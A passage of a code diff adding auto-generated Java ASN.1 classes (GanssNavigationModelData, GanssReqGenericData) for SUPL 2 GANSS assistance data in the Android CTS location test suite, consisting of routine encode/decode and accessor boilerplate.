+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssToeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class t_toeLimitType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_t_toeLimitType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public t_toeLimitType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_t_toeLimitType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_t_toeLimitType != null) {
+ return ImmutableList.of(TAG_t_toeLimitType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new t_toeLimitType from encoded stream.
+ */
+ public static t_toeLimitType fromPerUnaligned(byte[] encodedBytes) {
+ t_toeLimitType result = new t_toeLimitType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new t_toeLimitType from encoded stream.
+ */
+ public static t_toeLimitType fromPerAligned(byte[] encodedBytes) {
+ t_toeLimitType result = new t_toeLimitType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "t_toeLimitType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssNavigationModelData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
new file mode 100755
index 0000000..291ab65
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssReqGenericData.java
@@ -0,0 +1,1647 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssReqGenericData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssReqGenericData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssReqGenericData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssReqGenericData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssReqGenericData != null) {
+ return ImmutableList.of(TAG_GanssReqGenericData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssReqGenericData from encoded stream.
+ */
+ public static GanssReqGenericData fromPerUnaligned(byte[] encodedBytes) {
+ GanssReqGenericData result = new GanssReqGenericData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssReqGenericData from encoded stream.
+ */
+ public static GanssReqGenericData fromPerAligned(byte[] encodedBytes) {
+ GanssReqGenericData result = new GanssReqGenericData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GanssReqGenericData.ganssIdType ganssId_;
+ public GanssReqGenericData.ganssIdType getGanssId() {
+ return ganssId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssIdType
+ */
+ public void setGanssId(Asn1Object value) {
+ this.ganssId_ = (GanssReqGenericData.ganssIdType) value;
+ }
+ public GanssReqGenericData.ganssIdType setGanssIdToNewInstance() {
+ ganssId_ = new GanssReqGenericData.ganssIdType();
+ return ganssId_;
+ }
+
+ private GanssReqGenericData.ganssSBASidType ganssSBASid_;
+ public GanssReqGenericData.ganssSBASidType getGanssSBASid() {
+ return ganssSBASid_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssSBASidType
+ */
+ public void setGanssSBASid(Asn1Object value) {
+ this.ganssSBASid_ = (GanssReqGenericData.ganssSBASidType) value;
+ }
+ public GanssReqGenericData.ganssSBASidType setGanssSBASidToNewInstance() {
+ ganssSBASid_ = new GanssReqGenericData.ganssSBASidType();
+ return ganssSBASid_;
+ }
+
+ private GanssReqGenericData.ganssRealTimeIntegrityType ganssRealTimeIntegrity_;
+ public GanssReqGenericData.ganssRealTimeIntegrityType getGanssRealTimeIntegrity() {
+ return ganssRealTimeIntegrity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssRealTimeIntegrityType
+ */
+ public void setGanssRealTimeIntegrity(Asn1Object value) {
+ this.ganssRealTimeIntegrity_ = (GanssReqGenericData.ganssRealTimeIntegrityType) value;
+ }
+ public GanssReqGenericData.ganssRealTimeIntegrityType setGanssRealTimeIntegrityToNewInstance() {
+ ganssRealTimeIntegrity_ = new GanssReqGenericData.ganssRealTimeIntegrityType();
+ return ganssRealTimeIntegrity_;
+ }
+
+ private DGANSS_Sig_Id_Req ganssDifferentialCorrection_;
+ public DGANSS_Sig_Id_Req getGanssDifferentialCorrection() {
+ return ganssDifferentialCorrection_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSS_Sig_Id_Req
+ */
+ public void setGanssDifferentialCorrection(Asn1Object value) {
+ this.ganssDifferentialCorrection_ = (DGANSS_Sig_Id_Req) value;
+ }
+ public DGANSS_Sig_Id_Req setGanssDifferentialCorrectionToNewInstance() {
+ ganssDifferentialCorrection_ = new DGANSS_Sig_Id_Req();
+ return ganssDifferentialCorrection_;
+ }
+
+ private GanssReqGenericData.ganssAlmanacType ganssAlmanac_;
+ public GanssReqGenericData.ganssAlmanacType getGanssAlmanac() {
+ return ganssAlmanac_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssAlmanacType
+ */
+ public void setGanssAlmanac(Asn1Object value) {
+ this.ganssAlmanac_ = (GanssReqGenericData.ganssAlmanacType) value;
+ }
+ public GanssReqGenericData.ganssAlmanacType setGanssAlmanacToNewInstance() {
+ ganssAlmanac_ = new GanssReqGenericData.ganssAlmanacType();
+ return ganssAlmanac_;
+ }
+
+ private GanssNavigationModelData ganssNavigationModelData_;
+ public GanssNavigationModelData getGanssNavigationModelData() {
+ return ganssNavigationModelData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssNavigationModelData
+ */
+ public void setGanssNavigationModelData(Asn1Object value) {
+ this.ganssNavigationModelData_ = (GanssNavigationModelData) value;
+ }
+ public GanssNavigationModelData setGanssNavigationModelDataToNewInstance() {
+ ganssNavigationModelData_ = new GanssNavigationModelData();
+ return ganssNavigationModelData_;
+ }
+
+ private GanssReqGenericData.ganssTimeModelsType ganssTimeModels_;
+ public GanssReqGenericData.ganssTimeModelsType getGanssTimeModels() {
+ return ganssTimeModels_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssTimeModelsType
+ */
+ public void setGanssTimeModels(Asn1Object value) {
+ this.ganssTimeModels_ = (GanssReqGenericData.ganssTimeModelsType) value;
+ }
+ public GanssReqGenericData.ganssTimeModelsType setGanssTimeModelsToNewInstance() {
+ ganssTimeModels_ = new GanssReqGenericData.ganssTimeModelsType();
+ return ganssTimeModels_;
+ }
+
+ private GanssReqGenericData.ganssReferenceMeasurementInfoType ganssReferenceMeasurementInfo_;
+ public GanssReqGenericData.ganssReferenceMeasurementInfoType getGanssReferenceMeasurementInfo() {
+ return ganssReferenceMeasurementInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssReferenceMeasurementInfoType
+ */
+ public void setGanssReferenceMeasurementInfo(Asn1Object value) {
+ this.ganssReferenceMeasurementInfo_ = (GanssReqGenericData.ganssReferenceMeasurementInfoType) value;
+ }
+ public GanssReqGenericData.ganssReferenceMeasurementInfoType setGanssReferenceMeasurementInfoToNewInstance() {
+ ganssReferenceMeasurementInfo_ = new GanssReqGenericData.ganssReferenceMeasurementInfoType();
+ return ganssReferenceMeasurementInfo_;
+ }
+
+ private GanssDataBits ganssDataBits_;
+ public GanssDataBits getGanssDataBits() {
+ return ganssDataBits_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssDataBits
+ */
+ public void setGanssDataBits(Asn1Object value) {
+ this.ganssDataBits_ = (GanssDataBits) value;
+ }
+ public GanssDataBits setGanssDataBitsToNewInstance() {
+ ganssDataBits_ = new GanssDataBits();
+ return ganssDataBits_;
+ }
+
+ private GanssReqGenericData.ganssUTCModelType ganssUTCModel_;
+ public GanssReqGenericData.ganssUTCModelType getGanssUTCModel() {
+ return ganssUTCModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssUTCModelType
+ */
+ public void setGanssUTCModel(Asn1Object value) {
+ this.ganssUTCModel_ = (GanssReqGenericData.ganssUTCModelType) value;
+ }
+ public GanssReqGenericData.ganssUTCModelType setGanssUTCModelToNewInstance() {
+ ganssUTCModel_ = new GanssReqGenericData.ganssUTCModelType();
+ return ganssUTCModel_;
+ }
+
+ private GanssAdditionalDataChoices ganssAdditionalDataChoices_;
+ public GanssAdditionalDataChoices getGanssAdditionalDataChoices() {
+ return ganssAdditionalDataChoices_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssAdditionalDataChoices
+ */
+ public void setGanssAdditionalDataChoices(Asn1Object value) {
+ this.ganssAdditionalDataChoices_ = (GanssAdditionalDataChoices) value;
+ }
+ public GanssAdditionalDataChoices setGanssAdditionalDataChoicesToNewInstance() {
+ ganssAdditionalDataChoices_ = new GanssAdditionalDataChoices();
+ return ganssAdditionalDataChoices_;
+ }
+
+ private GanssReqGenericData.ganssAuxiliaryInformationType ganssAuxiliaryInformation_;
+ public GanssReqGenericData.ganssAuxiliaryInformationType getGanssAuxiliaryInformation() {
+ return ganssAuxiliaryInformation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssReqGenericData.ganssAuxiliaryInformationType
+ */
+ public void setGanssAuxiliaryInformation(Asn1Object value) {
+ this.ganssAuxiliaryInformation_ = (GanssReqGenericData.ganssAuxiliaryInformationType) value;
+ }
+ public GanssReqGenericData.ganssAuxiliaryInformationType setGanssAuxiliaryInformationToNewInstance() {
+ ganssAuxiliaryInformation_ = new GanssReqGenericData.ganssAuxiliaryInformationType();
+ return ganssAuxiliaryInformation_;
+ }
+
+ private ExtendedEphemeris ganssExtendedEphemeris_;
+ public ExtendedEphemeris getGanssExtendedEphemeris() {
+ return ganssExtendedEphemeris_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtendedEphemeris
+ */
+ public void setGanssExtendedEphemeris(Asn1Object value) {
+ this.ganssExtendedEphemeris_ = (ExtendedEphemeris) value;
+ }
+ public ExtendedEphemeris setGanssExtendedEphemerisToNewInstance() {
+ ganssExtendedEphemeris_ = new ExtendedEphemeris();
+ return ganssExtendedEphemeris_;
+ }
+
+ private GanssExtendedEphCheck ganssExtendedEphemerisCheck_;
+ public GanssExtendedEphCheck getGanssExtendedEphemerisCheck() {
+ return ganssExtendedEphemerisCheck_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssExtendedEphCheck
+ */
+ public void setGanssExtendedEphemerisCheck(Asn1Object value) {
+ this.ganssExtendedEphemerisCheck_ = (GanssExtendedEphCheck) value;
+ }
+ public GanssExtendedEphCheck setGanssExtendedEphemerisCheckToNewInstance() {
+ ganssExtendedEphemerisCheck_ = new GanssExtendedEphCheck();
+ return ganssExtendedEphemerisCheck_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssId();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssId : "
+ + getGanssId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSBASid() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSBASid();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSBASidToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssSBASidType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSBASid : "
+ + getGanssSBASid().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRealTimeIntegrity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRealTimeIntegrity();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRealTimeIntegrityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssRealTimeIntegrityType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRealTimeIntegrity : "
+ + getGanssRealTimeIntegrity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDifferentialCorrection() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDifferentialCorrection();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDifferentialCorrectionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSS_Sig_Id_Req.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDifferentialCorrection : "
+ + getGanssDifferentialCorrection().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAlmanac() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAlmanac();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAlmanacToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssAlmanacType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAlmanac : "
+ + getGanssAlmanac().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssNavigationModelData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssNavigationModelData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssNavigationModelDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssNavigationModelData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssNavigationModelData : "
+ + getGanssNavigationModelData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeModels() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeModels();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeModelsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssTimeModelsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeModels : "
+ + getGanssTimeModels().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssReferenceMeasurementInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssReferenceMeasurementInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssReferenceMeasurementInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssReferenceMeasurementInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssReferenceMeasurementInfo : "
+ + getGanssReferenceMeasurementInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBits() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDataBits();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssDataBits.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBits : "
+ + getGanssDataBits().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUTCModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUTCModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUTCModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssUTCModelType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUTCModel : "
+ + getGanssUTCModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAdditionalDataChoices() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAdditionalDataChoices();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAdditionalDataChoicesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssAdditionalDataChoices.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAdditionalDataChoices : "
+ + getGanssAdditionalDataChoices().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAuxiliaryInformation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAuxiliaryInformation();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAuxiliaryInformationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssReqGenericData.ganssAuxiliaryInformationType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAuxiliaryInformation : "
+ + getGanssAuxiliaryInformation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssExtendedEphemeris() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssExtendedEphemeris();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssExtendedEphemerisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtendedEphemeris.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssExtendedEphemeris : "
+ + getGanssExtendedEphemeris().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssExtendedEphemerisCheck() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssExtendedEphemerisCheck();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssExtendedEphemerisCheckToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssExtendedEphCheck.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssExtendedEphemerisCheck : "
+ + getGanssExtendedEphemerisCheck().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIdType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIdType != null) {
+ return ImmutableList.of(TAG_ganssIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIdType from encoded stream.
+ */
+ public static ganssIdType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIdType result = new ganssIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIdType from encoded stream.
+ */
+ public static ganssIdType fromPerAligned(byte[] encodedBytes) {
+ ganssIdType result = new ganssIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
